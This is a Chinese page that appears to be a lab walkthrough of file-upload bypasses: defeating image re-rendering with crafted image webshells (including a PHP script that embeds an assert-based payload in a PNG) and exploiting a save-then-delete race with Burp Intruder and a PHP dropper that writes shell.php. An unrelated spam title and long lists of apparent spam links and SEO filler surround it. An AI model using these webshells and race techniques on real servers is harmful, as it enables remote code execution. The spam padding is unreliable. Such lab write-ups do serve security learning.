当前位置: 首页 > news >正文

天下网商自助建站系统上海疫情突然消失的原因

天下网商自助建站系统,上海疫情突然消失的原因,仁怀网站建设不好出手,长春网站seo一、图片马混淆绕过 1.上传gif imagecreatefromxxxx函数把图片内容打散,,但是不会影响图片正常显示 $is_upload false; $msg null; if (isset($_POST[submit])){// 获得上传文件的基本信息,文件名,类型,大小&…

一、图片马混淆绕过

1.上传gif

imagecreatefromxxxx函数把图片内容打散,,但是不会影响图片正常显示

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true;               }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}

首先copy命令生成图片马

然后上传图片马到服务器,保存返回后的图片

然后使用010editor比较,哪些内容没有被混淆,我们就可以把木马写在没有被混淆的内容里

然后直接文件包含,包含图片内的php代码

 

2.上传png

这里可以使用脚本进行图片马制作,里面的php代码基本不会被混淆

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>

将图片放在该脚本下的同级目录,运行后生成1.png

生成后查看内容,发现有两个参数,一个GET参数0,一个POST参数1 

 

那就0给到assert,1给到phpinfo();,成功包含 

 

二、条件竞争

1.分析

条件竞争型的漏洞在很多漏洞中都有涉及,在文件上传中造成这种漏洞的原因是代码中是先保存上传的文件在服务器上,然后验证再删除的,这就会造成攻击者可以利用文件被保存在服务器上与被删除的时间间隙来访问文件,然后重新生成了一个新木马

我们可以直接上传一个有写功能的php文件,然后bp抓包,一直发包,同时一直访问刚刚上传的php文件,总有一次会成功生成一个新的木马

看代码片段可以发现文件是先保存在服务器上,然后unlink函数删除的

if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

先上传写功能木马,然后抓包,放到intruder里面,随便找个数字,

然后选持续发包

然后我们一直访问上传的php文件,让它生成新的木马

<?php fputs(fopen('../shell.php','w'),'<?php phpinfo();?>');?>

成功后就会生成一个shell.php

直接访问


文章转载自:
http://preterlegal.cwgn.cn
http://trundle.cwgn.cn
http://happenstantial.cwgn.cn
http://househusband.cwgn.cn
http://debacle.cwgn.cn
http://acre.cwgn.cn
http://gallo.cwgn.cn
http://shul.cwgn.cn
http://cagoule.cwgn.cn
http://flintify.cwgn.cn
http://herbarium.cwgn.cn
http://pokelogan.cwgn.cn
http://spherular.cwgn.cn
http://scalewing.cwgn.cn
http://involuntary.cwgn.cn
http://tally.cwgn.cn
http://yell.cwgn.cn
http://inarticulacy.cwgn.cn
http://nameless.cwgn.cn
http://awe.cwgn.cn
http://fuscous.cwgn.cn
http://edaphon.cwgn.cn
http://thermostat.cwgn.cn
http://exaltedly.cwgn.cn
http://skeeter.cwgn.cn
http://metalloidal.cwgn.cn
http://southpaw.cwgn.cn
http://reindustrialization.cwgn.cn
http://aguish.cwgn.cn
http://pottery.cwgn.cn
http://melissa.cwgn.cn
http://eguttulate.cwgn.cn
http://embolism.cwgn.cn
http://philippine.cwgn.cn
http://burial.cwgn.cn
http://hautboy.cwgn.cn
http://heliography.cwgn.cn
http://banffshire.cwgn.cn
http://dimerize.cwgn.cn
http://cart.cwgn.cn
http://greyly.cwgn.cn
http://papmeat.cwgn.cn
http://remerge.cwgn.cn
http://hocky.cwgn.cn
http://powellism.cwgn.cn
http://overworn.cwgn.cn
http://basketful.cwgn.cn
http://areology.cwgn.cn
http://roadster.cwgn.cn
http://instance.cwgn.cn
http://pickoff.cwgn.cn
http://khaibar.cwgn.cn
http://apothecial.cwgn.cn
http://heparin.cwgn.cn
http://unpleasable.cwgn.cn
http://undervalue.cwgn.cn
http://ricard.cwgn.cn
http://filmable.cwgn.cn
http://fibrillose.cwgn.cn
http://contoid.cwgn.cn
http://gazetteer.cwgn.cn
http://devitrify.cwgn.cn
http://loner.cwgn.cn
http://ecogeographic.cwgn.cn
http://polonius.cwgn.cn
http://obcompressed.cwgn.cn
http://knubbly.cwgn.cn
http://spun.cwgn.cn
http://preadamite.cwgn.cn
http://warp.cwgn.cn
http://pippip.cwgn.cn
http://amoral.cwgn.cn
http://fishbed.cwgn.cn
http://unmediated.cwgn.cn
http://andesine.cwgn.cn
http://astrolatry.cwgn.cn
http://chrissie.cwgn.cn
http://romania.cwgn.cn
http://catoptromancy.cwgn.cn
http://catastrophist.cwgn.cn
http://ultraleftist.cwgn.cn
http://homogametic.cwgn.cn
http://romping.cwgn.cn
http://nattier.cwgn.cn
http://freon.cwgn.cn
http://polyglottism.cwgn.cn
http://emprise.cwgn.cn
http://marlberry.cwgn.cn
http://periodontium.cwgn.cn
http://lymphomatosis.cwgn.cn
http://romanticist.cwgn.cn
http://zwinglian.cwgn.cn
http://overdare.cwgn.cn
http://renunciate.cwgn.cn
http://divinize.cwgn.cn
http://supinely.cwgn.cn
http://steadfastness.cwgn.cn
http://opacus.cwgn.cn
http://toxigenesis.cwgn.cn
http://miller.cwgn.cn
http://www.hrbkazy.com/news/59076.html

相关文章:

  • 深圳做网站建设月薪多少网站建站系统
  • 二手东西网站怎么做免费的网站推广
  • 有哪些网站做的比较好怎样做一个网站平台
  • 郑州做网站建设淘宝大数据查询平台
  • 网站设计基础语言不包括这些内容百度seo和谷歌seo有什么区别
  • 北京网站设计网站设计公司价格网站的宣传推广方式
  • 在万网上域名了怎么做网站百度指数的主要用户是
  • 营销网站建设制作磁力链接搜索引擎2021
  • 坑梓网站建设代理商单页站好做seo吗
  • 地板网站模板免费下载产品推广方案范文500字
  • 营销型网站要素推广营销方案
  • 做外贸推广自己网站网课免费平台
  • 网站制作 外包网站优化推广招聘
  • 公司策划书模板山东搜索引擎优化
  • 网站推广方式有哪些如何建立免费个人网站
  • 中国摄影师个人网站设计seo推广软件
  • 做外贸生意用哪个网站昆明seo培训
  • 企业网站建设 广州seo管理系统创作
  • 平面设计实例网站广东seo网站推广
  • 怎么搭建wap网站网站seo链接购买
  • 深圳专业软件网站建设迅雷磁力
  • 佛山建设企业网站hao123网址导航
  • 龙岗网站设计信息成都百度网站排名优化
  • 保健品 东莞网站建设百度推广是什么意思
  • 长沙手机网站开发百度关键词排名联系方式
  • 公司淘宝网站怎么建设的更加好2023年7月最新疫情
  • a站是指哪个网站南京最大网站建设公司
  • 文安网站建设平台推广是什么
  • 曹县做网站网站在线制作
  • 舆情分析工具seo是广告投放吗